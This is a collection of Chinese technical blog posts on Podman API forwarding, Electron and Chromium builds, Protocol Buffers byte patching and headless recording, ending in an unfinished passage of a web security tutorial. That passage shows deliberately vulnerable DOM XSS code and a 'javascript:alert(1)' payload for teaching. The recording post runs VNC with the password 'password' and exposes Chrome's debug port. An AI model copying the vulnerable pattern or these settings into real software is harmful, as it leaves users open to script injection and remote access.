在上一节中的例图中，有一块是 GVP / SSH，这是用来让宿主机和虚拟机互相通信的技术方案。在介绍 GVP 之前，需要先了解 SSH 通信原理，这会有助于理解 GVP。

SSH

当通过 podman machine init 和 podman machine start 来初始化并启动虚拟机时，podman 会在虚拟机中启动一个 ssh 服务。

这时，可以通过 podman system connection ls --format=json 命令查看连接信息¹，如下:

[
    {
        "Name": "podman-machine-default",
        "URI": "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock",
        "Identity": "/Users/black-hole/.ssh/podman-machine-default",
        "IsMachine": true,
        "Default": true
    },
    {
        "Name": "podman-machine-default-root",
        "URI": "ssh://root@127.0.0.1:65489/run/podman/podman.sock",
        "Identity": "/Users/black-hole/.ssh/podman-machine-default",
        "IsMachine": true,
        "Default": false
    }
]

从上面的信息中可以看到，URI 是：ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock。这时我们就可以通过这个 socket file 去连接到虚拟机中的 libpod 服务。 podman 发送请求时，会先建立 ssh 连接，然后将请求通过 ssh 通道发送到虚拟机中。其实现简要代码如下:

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"net/url"

	"github.com/containers/common/pkg/ssh"
)

func main() {
	uri := "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock"
	_url, _ := url.Parse(uri)
	conn, _ := ssh.Dial(&ssh.ConnectionDialOptions{
		Host:                        uri,
		Identity:                    "/Users/black-hole/.ssh/podman-machine-default",
		User:                        _url.User,
		Port:                        65489,
		InsecureIsMachineConnection: false,
	}, "golang")

	client := &http.Client{Transport: &http.Transport{DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) {
		return ssh.DialNet(conn, "unix", _url)
	}}}

	resp, _ := client.Get("http://d/v4.6.0/libpod/_ping")
	fmt.Println(resp.StatusCode)
}

这种方式是 Windows 系统下的行为，而在 MacOS 系统下，默认行为是通过 GVP 来实现的。

在 Windows 系统中，所有 cli 涉及到容器/镜像的操作都是基于这种方式去做的。

GVP （gvisor-tap-vsock） {#gvp}

引入 GVP 的目的之一是为了解决每次都要通过 ssh 去连接虚拟机以及负责 API 转发的功能。²

简要描述就是把宿主机中的 socket file 流量转发到虚拟机中的 socket file。

首先 podman 会先在宿主机中创建一个 socket file，然后在启动 qemu 时，加入 -qmp 参数，暴露 qemu 的 socket file，然后再通过 GVP 技术将宿主机中的 socket file 和 qemu 中的 socket file 进行绑定，这样就可以实现宿主机中的 socket file 和虚拟机中的 socket file 之间的通信。其命令简化如下:

gvproxy -listen-qemu unix:///var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock -forward-sock /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock -forward-dest /run/user/502/podman/podman.sock

qemu-system-x86_64 -qmp unix:/var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock,server=on,wait=off -virtfs local,path=/var/folders,mount_tag=vol2,security_model=none

podman 在 MacOS 系统中还提供了 podman-mac-helper 的可执行文件，并和 podman 一起打包在了 pkg 安装包里。当执行 podman machine start 时，podman 会先检测是否有 podman-mac-helper，如果存在，则会通过 podman-mac-helper 来创建一个软链接: /var/run/docker.sock，这个软连接指向的就是宿主机中的 socket file。

API 转发 {#api-forwarding}

在开始之前，可以先思考一下，如何在你的程序里调用 podman api？

MacOS

在 MacOS 中可以执行: export DOCKER_HOST='unix:///Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock' 来让后续的 podman 命令都通过本地的 socket file 通信。

以及也可以使用这个 socket file 进行 API 调用，如下:

curl --unix-socket /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock http://d/v4.6.0/libpod/_ping

Windows

首先，在 Windows 系统下，是没有 socket file 的概念的。但是 API 调用又非常重要，为了解决这一问题，podman 团队提供了一个 win-sshproxy.exe 的可执行文件，这个文件是用来转发 API 请求的。

win-sshproxy 的基本原理是通过 Windows 的 Named Pipe（命名管道）创建一个双工管道（duplex pipe）来实现的，可以将其简单的理解为 socket file。³

win-sshproxy 创建 Named Pipe 源码十分简单，如下:

// Allow built-in admins and system/kernel components
const SddlDevObjSysAllAdmAll = "D:P(A;;GA;;;SY)(A;;GA;;;BA)"

func ListenNpipe(socketURI *url.URL) (net.Listener, error) {
	user, _ := user.Current()

	// Also allow current user
	sddl := fmt.Sprintf("%s(A;;GA;;;%s)", SddlDevObjSysAllAdmAll, user.Uid)
	config := winio.PipeConfig{
		SecurityDescriptor: sddl,
		MessageMode:        true,
		InputBufferSize:    65536,
		OutputBufferSize:   65536,
	}
	path := strings.Replace(socketURI.Path, "/", "\\", -1)
    return winio.ListenPipe(path, &config)
}

创建完 Named Pipe 后，win-sshproxy 将会启动一个 ssh 连接，并和 Named Pipe 进行绑定，绑定的逻辑也十分简单，如下：

func main() {
    complete := new(sync.WaitGroup)
	complete.Add(2)
    go forward(ssh, namedPipe, complete)
	go forward(namedPipe, ssh, complete)

	go func() {
		complete.Wait()
		ssh.Close()
		namedPipe.Close()
	}()
}

func forward(src io.ReadCloser, dest CloseWriteStream, complete *sync.WaitGroup) {
	defer complete.Done()
	_, _ = io.Copy(dest, src)

	// 让另一端的 io.Copy() 退出
	_ = dest.CloseWrite()
}

自此，宿主机就可以通过 Named Pipe 来转发 API 请求。如下方的 js 代码:

require('http').get({
    hostname: 'd',
    path: '/v4.6.0/libpod/_ping',
    socketPath: '//./pipe/docker_engine',
}, res => {
    console.log(`statusCode: ${res.statusCode}`)
    res.destroy();
}).end();

其中 podman-machine-default-root 用于以 root 权限访问虚拟机，但一般而言，我们都是以普通用户的身份访问虚拟机，所以这里只关注 podman-machine-default 即可。 ↩
需要注意的是，GVP 是常驻进程。 ↩
为了让其可以正常工作，此进程是需要常驻。 ↩

构建 / 调试 Electron 源码

bh@bugs.cc (Kevin Cui) — Tue, 21 Sep 2021 08:06:11 GMT

需要注意的是，本文使用的是 CLion IDE 以及 macOS 系统

其他 IDE 和系统也可以根据本文思路进行调整

前言 {#intro}

目前 electron 官方的构建文档存在一些问题，当你完全按照文档上去做的时候，你会发现无法进行调试。其表现就是在使用LLDB 时，无法看到当前 frame 下的变量信息和上下文。就像下图一样:

构建 {#build}

为了快速跳过不重要的信息，我们直接从官网出现问题的地方开始说明。

官方相关的构建文文档见:

在准备操作时，请先确保你的 macos SDK 是正确的，详情可见: 设置 macOS SDK

其中《拉推的注意事项》的命令已经存在错误了，正确的命令应该为:

cd src/electron
git remote remove origin
git remote add origin https://github.com/electron/electron
# 从这里开始就不一样了
git fetch
git checkout main
git pull --rebase origin main
git branch --set-upstream-to=origin/main

接下来文档中说需要使用 gclient sync -f 命令，而在使用这个命令的时候，有时会出现 dugite 命令失败的问题，解决方案见: 下载 dugite 失败解决方案

接下来就是重点，也是本文中的核心

当你运行完成上面的命令后，还需要修改: build/config/compiler/compiler.gni 文件。

把这个里面的

forbid_non_component_debug_builds = build_with_chromium

改为:

forbid_non_component_debug_builds = false

如果缺失这一步，你在使用: gn gen 命令时将会报错:

ERROR at //build/config/compiler/compiler.gni:302:3: Assertion failed.
  assert(symbol_level != 2 || current_toolchain != default_toolchain ||
  ^-----
Can't do non-component debug builds at symbol_level=2
See //BUILD.gn:12:1: whence it was imported.
import("//build/config/compiler/compiler.gni")

然后在使用 gn gen 构建时，请使用下面的命令，替换官网的命令:

gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") is_debug=true symbol_level=2 $GN_EXTRA_ARGS"

如果你想使用 ccache ，则使用:

gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") cc_wrapper=\"ccache\" is_debug=true symbol_level=2 $GN_EXTRA_ARGS"

然后就是进行构建:

ninja -C out/Testing electron

调试 (CLion) {#debug}

在想使用 CLion 进行调试时，请先确保你执行成功过 ninja -C out/Testing electron 命令 “先不要急着去打开 CLion，先在根目录(src同级目录)里创建一个 CMakeLists.txt 文件，内”如下:

cmake_minimum_required(VERSION 3.20)
project(electron)

set(CMAKE_CXX_STANDARD 14)

set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -O0")

include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/electron)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/out/Testing/gen)

add_executable(electron_exec ${CMAKE_CURRENT_SOURCE_DIR}/src/electron/shell/app/electron_main.cc)

这个文件是为了保证 CLion 可以正确识别出代码，以及进行代码补全提示等功能，否则 IDE 的代码提示将完全失效。

然后再使用 CLion 打开项目，需要注意的是项目的根目录，就像下图一样:

打开后，可能需要等个几十分钟，让 CLion 建立 / 刷新缓存。

依次打开: Setting -> Build, Execution, Deployment -> Custom Build Targets -> + -> Set Build。

最终如图所示:

然后再设置: Run/Debug Configurations，如图所示:

你如果想使用自编译的 electron 打开自己的应用，直接在 Program arguments 里添加你的应用的地址即可

其中: CHROMIUM_LLDBINIT_SOURCED=1 也需要加上，否则无法调试: Chormium 的源码

设置完成后，还有一个地方需要进行设置，否则也无法进行调试:

创建 ~/.lldbinit 文件，写入:

script sys.path[:0] = ['/Users/black-hole/Code/Github/electron/src/tools/lldb']
script import lldbinit

记得把上面的路径替换成你自己的。

这一步在官网中也提到了，但是如果按照官网上所说的: command script import ~/electron/src/tools/lldb/lldbinit.py 去设置，将无法使用，原因不明。

新的 ~/.lldbinit 写法，我是产考 Chromium 的写法

然后就可以正常使用断点调试功能了，如图:

问题 {#issues}

设置 macOS SDK {#set-macos-sdk}

目前按照 Electron 官方文档中提到的，最好使用: MacOSX11.0.sdk。

可以下载 MacOSX-SDKs 中的 MacOSX11.0.sdk 文件到目录: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/

即可。

下载 dugite 失败解决方案 {#dugite-solution}

当你在使用: gclient sync -f 命令进行同步时，有时会报错：

error /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite: Command failed.
Exit code: 1
Command: node ./script/download-git.js
Arguments:
Directory: /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite
Output:
Downloading Git from: https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz
Error raised while downloading https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz GotError [RequestError]: Client network socket disconnected before secure TLS connection was established

原因是因为 dugite 再去下载二进制文件时，没有去识别使用你电脑的代理，你可以使用浏览器进行下载，然后使用 python -m SimpleHTTPServer 开启一个 http 服务，就像下面这样:

然后编辑 src/electron/node_modules/dugite/script/embedded-git.json 文件，改为¹:

然后执行:

cd src/electron/node_modules/dugite
node ./script/download-git.js

全部执行完成后，再次执行 gclient sync -f 就可以发现已经可以成功执行。

不同的系统其修改的位置也不一样，根据你的系统型号去修改对应的就好。 ↩

动态修改 Protocol Buffers 的 string message

bh@bugs.cc (Kevin Cui) — Thu, 27 May 2021 08:02:30 GMT

前言 {#intro}

因为需求变动，我们需要把之前发到 阿里云 的日志迁移到我们公司内部的日志平台，而公司内部的日志平台使用的是 Protocol Buffers 协议。

而因之前的上报都是在 阿里云 ，所以我们在记录用户请求的 IP 时，都是使用 logtail 来自动记录的。

而公司内部日志平台提供的 RESTful 接口，只是用于转发使用，也就是前端使用 pb 编码 -> 发送到 RESTful 服务器接口 -> 通过 UDP 转发到 数据平台

也就说，自动记录用户请求的 IP 地址，必须由 RESTful 这个中转服务器来做，但是问题在于，因为这个中转服务器是通用的，所以它并不负责把 json -> pb ，而必须由前端去做，而因为前端已经编码后了，中转服务器无法在对已经编码的日志进行修改。

这也就导致了，中转服务器很难为我们添加 IP 地址。

于是经过思考得出以下三种方案:

前端通过请求第三方资源，去获取 IP 地址
由中转服务器进行编码
中转服务器修改 pb message

第一种方案，是首先被过滤掉的，因为需要考虑 CDN 等其他问题，不可控因素较多

第二种方案，也不太可行，因为上文提到过，这是一个通用服务，如果这么做的话，以后所有的 pb 都要在中转服务器里进行编码，效率将比较低

那么只能选择第三种方案

引用说明 {#string-encoding}

在正式解决前，我们需要先确定一点，IP 地址一定是字符串类型，所以我们现在需要知道 Protocol Buffers 是怎么编码 string message 的。

这里我将引用第三方的说明: Protocol Buffer 编码原理 - 字符串

为了方便阅读，这里我把相关说明的截图贴上来:

开始处理 {#implementation}

现在我们知道了其编码原理，此时我们就可以进行修改编码了

现在我们先看下我们的原始 JSON 格式:

{
  "level": "info",
  "message": "test",
  "lts": 1622078077630,
  "clientIP": "__inject-ip__"
}

Protocol Buffers 格式:

syntax = "proto3";

message Log {
    int64 lts = 1; // 时间戳
    string level = 2; // 日志等级
    string message = 3; // 日志主体信息
    string clientIP = 4; // IP
}

其中 __inject-ip__ 的作用就是占位符，用于告诉中转服务器应该修改哪里。

现在经过 Protocol Buffers 编码后，上面的 JSON 对象将会被编码成:

08 be f5 8c db 9a 2f 22 04 69 6e 66 6f 2a 04 74 65 73 74 3a 0d 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f

其中 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f 就是 __inject-ip__ 的十六进制编码

而根据文章所说，前面的 3a 0d 是 Protocol Buffers 必要的信息

3a 代表了当前字段的类型及 ID
0d 代表了当前 value 的长度

所以我们只需要关心 0d 和 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f 就可以了

现在我们假设中转服务器获得的用户 IP 为: 127.0.0.1

那么我们应该把 0d 改为 hexadecimal(len(127.0.0.1))，同时把 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f 改为: hexadecimal(127.0.0.1)

那么原理和细节清楚后，我们就可以写代码来完成这件事了:

package main

import (
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"strings"
)

func main() {
	// pb Buffer 的 base64 编码表现形式(byte => base64)
	payloadBase64 := "CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0Og1fX2luamVjdC1pcF9f"

	// 解码 base64
	payload, err := base64.StdEncoding.DecodeString(payloadBase64); if err != nil {
		panic(err)
	}

	// string 转 十六进制
	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A0D5F5F696E6A6563742D69705F5F
	payloadBinaryStr := fmt.Sprintf("%X", payload)

	// 此为 __inject-ip__ 占位符的 十六进制
	ipPlaceholder := "5F5F696E6A6563742D69705F5F"

	// 占位符出现的下标
	placeholderIndex := strings.Index(payloadBinaryStr, ipPlaceholder)

	// 用户的IP
	clientIP := "127.0.0.1"

	// clientIP 的十六进制
	clientIPBinaryStr := fmt.Sprintf("%X", clientIP)

	// IP 的长度(十六进制格式)，用于修改 pb 中 clientIP 的长度
	// 因为 ip地址的最大长度为15(255.255.255.255)，不超过 255，所以我们这里是可以保证 clientIPLen 的长度一定是 2 位(即: 一个字节)
    // 同时通过 %02 来保证，不满2位，则在前方补零
	clientIPLen := fmt.Sprintf("%02X", len(clientIP))

	payloadBinaryStrPrefix := payloadBinaryStr[:placeholderIndex - 2]
	payloadBinaryStrSuffix := payloadBinaryStr[placeholderIndex + len(ipPlaceholder):]
	payloadBinaryStrNewContent := clientIPLen + clientIPBinaryStr

	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A093132372E302E302E31
	// 可以看到，此时，之前的 0D 已经被替换成 09
	payloadBinaryStr = payloadBinaryStrPrefix + payloadBinaryStrNewContent + payloadBinaryStrSuffix

	payloadBinaryByte, err := hex.DecodeString(payloadBinaryStr); if err != nil {
		panic(err)
	}

	newPayloadBase64 := base64.StdEncoding.EncodeToString(payloadBinaryByte)

    // CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0OgkxMjcuMC4wLjE=
	fmt.Println(newPayloadBase64)
}

然后我们修改原始JSON，把 __inject-ip__ 更换成 127.0.0.1，再使用 Protocol Buffers 进行编码，发现是一模一样的，说明是没问题的。

macOS 10.15 下载及编译 Chromium

bh@bugs.cc (Kevin Cui) — Tue, 31 Mar 2020 07:50:24 GMT

下载 {#download}

下载 Chromium 源码具体可参见 Checking out and building Chromium for Mac。但是如果按照文档上来做的话，会很难拉下来。

网上也有博主说可以利用国内的Gitee 来远程克隆下载，但是目前 Gitee 已经不支持单个仓库那么大了（即使是企业版也无法支持单个项目容量很大的情况），毕竟现在 Chromium 没有任何历史记录都需要 16G

经过各种尝试，在拉源码时，可以使用 fetch --nohooks --no-history chromium，来拉，成功率会高出不少，拉下来后，再运行 gclient sync 来执行下 hooks，如果还需要历史记录的话，可以执行 git fetch --unshallow 这样就可以和直接运行 fetch chromium 有同样的结果。

不过值得一提的事，git fetch --unshallow 也会很慢。毕竟十几万个 commit，这个时候只能依靠人品，如果失败的话，最好先运行一次 git gc --prune=now ，再重新执行 git fetch --unshallow 不然你的仓库会越来越大。

以上步骤，我花了5天时间，用掉了机场的 180G 流量才下载完成。¹

编译 {#build}

目前我的电脑信息如下:

OSVersion: macOS Catalina 10.15.3
CPU: 2.4 GHz 八核Intel Core i9
Memory: 32 GB 2667 MHz DDR4

目前官网文档: Checking out and building Chromium for Mac 中提到需要 OS X 10.15 SDK ，而我的系统是 10.15.3 所以这个 SDK 我是有的，于是开始执行 gn gen out/Debug 来生成构建目录，然后就报错…

服务端录制原理分析

bh@bugs.cc (Kevin Cui) — Sat, 07 Dec 2019 07:02:14 GMT

简要 {#intro}

功能简要 {#features}

什么是服务端录制，通俗来说就是在服务器上把网站录制下来，包括网站的 声音、动作、刷新、跳转 等。并保存成一个视频文件

原理简要 {#principle}

通过虚拟桌面 xvfb 技术启动 Puppeteer，Puppeteer 打开 Chrome，再调用 Chrome Extension API 进行录制生成 Stream，最终通过 H5 API 把 Stream 转换成 webm 格式的视频文件

难点 {#challenges}

如何录制声音、在服务器上、做成自动化

分析 {#analysis}

在前期调研阶段，想到了各种方案，如：

使用 Canvas 进行截图、拼凑
Chrome 及 H5 的各个 API

但是经过各个方面的测试，最终确定下来，使用 Chrome 插件提供的一个 API: chrome.tabCapture.capture ，这个 API 其实在 Chrome 插件文档里的介绍是这样的:

捕获当前活动标签页的可视区域。该方法只能在扩展程序被调用之后在当前活动网页上使用，与 activeTab 的工作方式类似。

捕获当前活动标签页的可视区域 这段话代表了这个 API 的功能，后面的话代表了这个插件的限制，也就是说你不能直接调用。需要一个用户操作才能去调用这个 API（不得不说，Chrome对安全问题是很重视的）

这个限制就是当时开发遇到的第一个问题，因为整个录制都是在服务器上运行的，是不可能有人工干预的情况。于是翻了下 Chrome 的源码，果然在 tab_capture_api.cc 找到了，核心代码如下：

// Make sure either we have been granted permission to capture through an
// extension icon click or our extension is whitelisted.
if (!extension()->permissions_data()->HasAPIPermissionForTab(
        SessionTabHelper::IdForTab(target_contents).id(),
        APIPermission::kTabCaptureForTab) &&
    base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &&
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))) {
  return RespondNow(Error(kGrantError));
}

其中下面的代码是最主要的：

base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &&
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))

这段代码会检测当前插件的的id是否和 kWhitelistedExtensionID 一样，而 kWhitelistedExtensionID 就是一个特权列表，当相同时，就可以绕过用户操作，做成自动化。

而 kWhitelistedExtensionID 声明是在 switches.cc 文件里的，定义如下：

// Adds the given extension ID to all the permission whitelists.
const char kWhitelistedExtensionID[] = "whitelisted-extension-id";

现在就很清楚了，我只需要在启动 Chrome 的时候，增加一个 --whitelisted-extension-id 参数，来指定当前 Chrome 插件ID 就行了。¹

所以现在新的问题来了，我需要让我每次生成的 Chrome 插件，ID都是固定的，否则每次生成的插件，ID都不一样就有问题了。在 Stack Overflow 搜了一下，找到了相关的解决方案: Making a unique extension id and key for Chrome extension?

这也就是为什么我会在项目里的插件目录放置一个 key.pem 文件，本质就是为了让插件ID固定下来。

可能有的小伙伴已经发现，这个API没有提供其他的方法了，所以需要我们手动去完成 暂停 / 恢复 / 停止 的方法，这个时候我们就可以借助 H5 的 MediaRecorder² API 来完成这件事情。

chrome.tabCapture.capture 这个方法会返回一个 Stream 对象，而这个 Stream 包含了音/视频。所以我们就可以使用 MediaRecorder 来完成剩下的功能了。

在调用 chrome.tabCapture.capture 后，我们会创建一个变量。这个变量由 MediaRecorder 实例化而来，并且同时监听新的流进来。

现在我们写了几个方法(暂停 / 恢复 / 停止)，其实本质就是调用 MediaRecorder 的方法。因为 MediaRecorder 本身就提供了: pause / resume / stop 的方法，我们只需要做一层包装即可。

当然这里有个小问题，就是当你调用 MediaRecorder 的 stop 方法时，还需要遍历每个 Tracks，不然会照成持续的内存占用。代码如下:

mediaRecorder.stop();
mediaRecorder.stream.getTracks().forEach(track => {
  track.stop();
});

你可以初步理解成，这个 stop 只是停止接收流，但是之前的流还没有被关闭/释放。

上面说了那么多，基本的录制结构都OK了。无论有没有看懂，都应该知道这个项目的核心是浏览器插件。但是 Chrome 不支持在 headless³ 模式下注入插件。

因为是在服务器上，并且以后肯定是要走 Docker 的方式，这些都是无桌面的，不能使用 headless 模式的话，相当于以上所有的工作都是白费的。

随后翻遍了 Google，找到了一个解决方案，就是使用 xvfb 。你可以理解成这个软件会帮我虚拟出一个桌面出来，我的代码(Chrome) 就会在这个虚拟桌面运行。完美解决刚刚的窘迫。

所以你能在 entrypoint.sh 文件里看到下面的代码:

# open virtual desktop
xvfb-run --listen-tcp --server-num=76 --server-arg="-screen 0 2048x1024x24" --auth-file=$XAUTHORITY node index.js &

至此，整个工作其实已经算是OK了，接下来就是一些优化的方案

现在整个项目已经可以安安心心的在服务器(Docker)上进行录制了，但是我们看不到具体里面的内容。我不知道里面现在处于什么的情况，想进行一些调试。所以我在原有的基础上增加了 VNC 和 Chrome Remote Debug 调试模式。

VNC 的话，很简单，只要在 Docker 里安装了 VNC 的套件，再在 entrypoint.sh 文件里增加如下代码即可：

x11vnc -display :76 -passwd password -forever -autoport 5920 &

Chrome Remote Debug 则有些麻烦，需要在 Chrome 启动参数里加上 --remote-debugging-port=9222，然后需要在 Docker 里安装 socat 软件，进行端口转发。

因为9222是 Chrome Remote Debug 的端口，但是 Chrome 不支持除本机以外的机器访问它。所以我们需要使用 socat 把 9222 端口转发到 9223 即可，在 entrypoint.sh 文件的代码如下:

# forward chrome remote debugging protocol port
socat tcp-listen:9223,fork tcp:localhost:9222 &

因为这个 Docker 以后可能会部署到 k8s 上，或者其他地方，而部署后，总会遇到被通知说，你自杀吧（一般当集群资源不够时、CPU占用率过高时会通知）。那我们应该做成，当他们通知到这个 Docker(k8s为Pod)时，应该及时的回滚数据等操作。所以在 entrypoint.sh 文件里有这么一段代码：

# get nodejs process pid
NODE_PID=$(lsof -i:80 | grep node | awk 'NR==1,$NF=" "{print $2}')

# forward SIGINT/SIGKILL/SIGTERM to nodejs process
trap 'kill -n 15 ${NODE_PID}' 2 9 15

# waiting nodejs exit
while [[ -e /proc/${NODE_PID} ]]; do sleep 1; done

先获取 node 进程的 PID，再把消息通知到 node 进程里。而 node 代码中又有这么一段：

let status = false;
const exit = message => {
  if (status) return;

    console.log('the process was kill:', message);

    // 回滚操作

  status = true;

  process.exit();
};


process.once('exit', () => exit('exit'));
process.once('SIGTERM', () => exit('sigterm'));
process.on('message', message => {
  if (message === 'shutdown') {
    exit('shutdown');
  }
});

部署方式 {#deployment}

我们公司因为使用的 k8s 来部署的，所以我们目前的部署方式是这样的：

首先 Server 那里派发一个录制任务插入到数据库里，这个时候我写了另一个项目，这个项目会定期去扫数据库(目前为3分钟)，扫到一个数据就会调用 k8s 的 API 去创建 Job→Pod。完成一次录制任务，有兴趣可以看我之前写的文章: 基于任务量进行k8s集群的灵活调度处理

其他 {#open-source}

目前项目已经开源，欢迎 Star 或 PR: https://github.com/alo7/rebirth

唯一的缺陷就是在调用这个 api 的时候，必须保证要录制的 tab 是激活状态，调用之后就可以跳转到其他页面了。 ↩
不理解这个 API 的小伙伴，可以先初步理解成用来管理音视频流的。 ↩
可以把 headless 理解成，在命令行启动 Chrome，通过命令 / API 进行交互，并且没有可视化页面。 ↩

Electron App 在 MacOS 下申请摄像头及麦克风权限踩坑指南

bh@bugs.cc (Kevin Cui) — Wed, 23 Oct 2019 01:55:00 GMT

公司的 Electron 应用，偶尔会在 设备检测 时 Crash ，后来经过排查发现是当前 App 没有摄像头和麦克风的权限。导致在 设备检测 时出现了崩溃。

macOS 10.14 及以上版本，开发者必须对其自己的应用明确授予麦克风、摄像头权限。否则无法调用系统的摄像头、麦克风。如想见详情，可见: Requesting Authorization for Media Capture on macOS

其中 Apple 文档里标注了，如果你想使用麦克风、摄像头权限则需要在 plist 文件里指定相关的属性才可以，如下:

麦克风: NSMicrophoneUsageDescription
摄像头: NSCameraUsageDescription

这两个属性从后面的 Description 就能看到这是一个说明你的程序为什么要使用麦克风和摄像头的属性。

而 Electron App 打包，一般都是使用 electron-builder 这个库来进行打包，而这个库的文档里针对于 mac 打包，有这么一个属性: extendInfo 他的用途是把你的自定义的属性加入到 plist 文件里，在 electro-builder.yml 文件里的写法如下:

mac:
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头

但是当你这么写完会发现，并没有起到任何的作用，因为这两个属性只是用于说明你的应用为什么要申请权限。但是却没有指定申请权限的行为。

如果要指定申请摄像头、麦克风的权限，需要以下的属性:

com.apple.security.device.camera
com.apple.security.device.audio-input

而这两个属性，在添加时有一个前提，就是你必须开启了 hardenedRuntime¹，这个东西是为了加强应用运行时的完整性，如想见详情，可见: Hardened Runtime Entitlements

那么现在我们再添加一下 hardenedRuntime :

mac:
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头

然后在申请的行为需要利用 entitlements 属性。代码如下:

electron-builder.yml

mac:
  entitlements: entitlements.mac.plist
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头

entitlements.mac.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
  </dict>
</plist>

但是当你这么尝试的时候，会发现的应用打开会直接崩溃，亦或者根本无法正常的打包。

这是因为当你开启了 hardenedRuntime 来加强应用的安全性时，那么你需要把这个安全性放宽一点。也就是说你需要在 entitlements.mac.plist 里在指定一下下面的属性:

那么现在最终的 entitlements.mac.plist 内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.cs.allow-jit</key>
    <true/>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <true/>
    <key>com.apple.security.cs.allow-dyld-environment-variables</key>
    <true/>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
  </dict>
</plist>

自此，你的 Electron App 就应该可以在 macOS 上正常申请/使用摄像头和麦克风了。

hardenedRuntime 这个属性，在 electron-builder 的 21.1.3 版本已经默认为 true ，而在 21.1.2 ~ 20.41.0 版本里，这个属性的默认值是 false。再往后的版本里没有这个属性。 ↩

Web 安全概览

bh@bugs.cc (Kevin Cui) — Thu, 17 Oct 2019 12:26:07 GMT

前言 {#intro}

介绍一下 Web 端相关的攻击手法及原理，包括但不限于 前端 后端 运维

本文后端语言将使用 PHP，因为经过对比，PHP 作为后端代码演示，是最显而易见的。

以及本文介绍的所有攻击手法都将提供 Docker 靶场，方便后续大家自行研究、测试。

此篇文章是由我之前写的安全文章进行了部分汇总、优化及添加。如果大家比较感兴趣，可以去 Freebuf Black-Hole 看我之前写的文章。

前端 {#frontend}

XSS

XSS 本质就是在别人的浏览器里执行你的 JavaScript 代码，其他都是一种辅助手段。

DOM XSS

利用 JavaScript 操作 DOM 的特性，来做到攻击

经常出现的情况: 前后端分离架构

很多开发者，都知道不到万不得已不要使用 eval 函数，不使用的原因其中一点就是不安全，但是难道不使用 eval 就不会有安全问题么？答案是否定的。

见下面的代码:

<script>
  window.open(new URL(location.hash.slice(1)).href)
</script>

为了更好的说明，我这里简单的把作用说明一下:

假设当前 url 为 http://baidu.com/#http://360.cn，那么 location.hash.slice(1) 的结果就是 http://360.cn

new URL(url).href 则是会对 url 进行解析，并取出解析后的 url。如果你的 url 不满足它内部的判断，则会报错。

是不是觉得这段代码没什么问题。毕竟有 new URL() 这种浏览器内置函数帮我们做了过滤。

OK，那我们就要去攻破这个函数的判断。下图为 URL 接口规范中的列表:

我们可以看到 hello:world 是符合规范的。而且 hello: 正好又是 JavaScript 里的标记，类似于 C 语言中的 goto。那我们更改 url 为: http://baidu.com/#javascript:alert(1)。则会成功触发漏洞。

Docker 靶场

后端 {#backend}

反射 XSS {#reflected-xss}

因为前/后端没有做好相对应的过滤，导致的问题¹

经常出现的情况: MVC 架构

因为像 MVC 这种架构，其实是在后端语言中编写前端代码，在访问 url 的时候，会先由后端根据请求去构造前端页面，再返回前端源码到浏览器端，而这个过程中，如果出现了 XSS 漏洞，又因为后端参与其中，所以我们一般认为这是 反射型XSS。

见下面的 PHP 代码:

<?php
